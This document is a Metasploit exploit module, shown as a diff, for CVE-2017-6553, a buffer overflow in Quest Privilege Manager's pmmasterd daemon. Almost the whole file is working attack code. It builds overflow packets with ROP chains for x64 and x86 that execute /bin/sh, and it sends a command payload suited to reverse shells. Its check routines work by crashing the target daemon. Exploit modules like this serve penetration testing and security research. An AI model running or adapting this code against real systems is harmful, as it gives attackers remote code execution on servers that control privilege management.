Exploit for pmmasterd Buffer Overflow (CVE-2017-6553)

Author: m0t

modules/exploits/linux/misc/quest_pmmasterd_bof.rb

@@ -0,0 +1,202 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Quest Privilege Manager pmmasterd Buffer Overflow',
+      'Description'    => %q{
+        This modules exploits a buffer overflow in the Quest Privilege Manager,
+        a software used to integrate Active Directory with Linux and Unix systems.
+        The vulnerability exists in the pmmasterd daemon, and can only triggered when
+        the host has been configured as a policy server ( Privilege Manager for Unix 
+        or Quest Sudo Plugin). A buffer overflow condition exists when handling
+        requests of type ACT_ALERT_EVENT, where the size of a memcpy can be
+        controlled by the attacker. This module only works against version < 6.0.0-27.
+        Versions up to 6.0.0-50 are also vulnerable, but not supported by this module (stack cookies bypass is required).
+      },
+      'Author'         =>
+        [
+          'm0t'
+        ],
+      'References'     =>
+        [
+          ['CVE', '2017-6553']
+        ],
+      'Payload'        =>
+        {
+          'BadChars'    => "",
+          'Compat'      =>
+            {
+              'PayloadType' => 'cmd',
+              'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
+            }
+        },
+      'Arch'           => ARCH_CMD,
+      'Platform'       => 'unix',
+      'Targets'        => 
+        [
+          ['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
+            {
+              :exploit => :exploit_x64,
+              :check => :check_x64
+            }
+          ],
+          ['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
+            {
+              :exploit => :exploit_x86,
+              :check => :check_x86
+            }
+          ]
+        ],
+      'Privileged'     => false, #XXX
+      'DisclosureDate' => 'Apr 09 2017',
+      'DefaultTarget'  => 1
+      ))
+
+    register_options([ Opt::RPORT(12345) ], self.class)
+    register_options( [ Opt::CPORT(rand(1024))], self.class )
+  end
+
+  #definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog 
+  def check
+    unless self.respond_to?(target[:check], true)
+      fail_with(Failure::NoTarget, "Invalid target specified")
+    end
+    
+    return self.send(target[:check])
+  end
+
+  def exploit
+    unless self.respond_to?(target[:exploit], true)
+      fail_with(Failure::NoTarget, "Invalid target specified")
+    end
+
+    request = self.send(target[:exploit])
+
+    connect
+    print_status("Sending trigger")
+    sock.put(request)
+    sock.get_once
+    print_status("Sending payload")
+    sock.put(payload.encoded)
+    disconnect
+  end
+
+  #server should crash after parsing the packet, partial output is returned
+  def check_x64
+    head = [ 0x26c ].pack("N")
+    head << [ 0x700 ].pack("N")
+    head << [ 0x700 ].pack("N")
+    head << "\x00"*68
+
+    body = "PingE4.6 .0.0.27"
+    body << rand_text_alpha(3000)
+
+    request = head + body
+
+    connect
+    print_status("Sending trigger")
+    sock.put(request)
+    res = sock.timed_read(1024, 1)
+    if res.match("Pong4$")
+      return Exploit::CheckCode::Appears
+    else
+      return Exploit::CheckCode::Unknown
+    end
+  end
+
+  #server should crash while parsing the packet, with no output
+  def check_x86
+    head = [ 0x26c ].pack("N")
+    head << [ 0x700 ].pack("N")
+    head << [ 0x700 ].pack("N")
+    head << "\x00"*68
+
+    body = rand_text_alpha(3000)
+
+    request = head + body
+
+    connect
+    print_status("Sending trigger")
+    sock.put(request)
+    begin
+      res = sock.timed_read(1024, 1)
+      return Exploit::CheckCode::Unknown
+    rescue ::Exception
+      return Exploit::CheckCode::Appears
+    end
+  end
+
+  def exploit_x64
+    head = [ 0x26c ].pack("N")
+    head << [ 0x700 ].pack("N")
+    head << [ 0x700 ].pack("N")
+    head << "\x00"*68
+
+    #rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
+    ropchain = [
+          0x408f88,   # pop rdi, ret
+          0x4FA215,   # /bin/sh
+          0x40a99e,   # pop rsi ; ret
+          0,          # argv  @rsi
+          0x40c1a0,   # pop rax, ret 
+          0,          # envp @rax
+          0x48c751,   # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
+          0xcacc013,  # padd    
+          0x408a98,   # execve,
+          0
+    ].pack("Q*")
+
+    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
+    body << rand_text_alpha(1600)
+    body << ropchain
+    body << rand_text_alpha(0x700 - body.size())
+
+    return head + body
+
+  end
+
+  def exploit_x86
+    head = [ 0x26c ].pack("N")
+    head << [ 0x108 ].pack("N")
+    head << [ 0xcc ].pack("N")
+    head << "\x00"*68
+
+    #rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
+    ropchain = [
+      0x8093262,  # ret
+      0x73,       # cs reg
+      0x804AE2C,  # execve,
+      0xcacc013,  # padding
+      0x8136CF0,  # /bin/sh
+      0,
+      0
+    ].pack("V*")
+
+    pivotback = 0x08141223  # sub esp, ebx ; retf
+    writable = 0x81766f8    # writable loc
+
+    body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
+    body << rand_text_alpha(104)
+    body << ropchain
+    body << rand_text_alpha(0xb4 - body.size())
+    body << [0x50].pack("V")
+    body << rand_text_alpha(0xc4 - body.size())
+    body << [pivotback].pack("V")
+    body << [writable].pack("V")
+    body << rand_text_alpha(0x108 - body.size())
+
+    return head + body
+  end
+
+end
+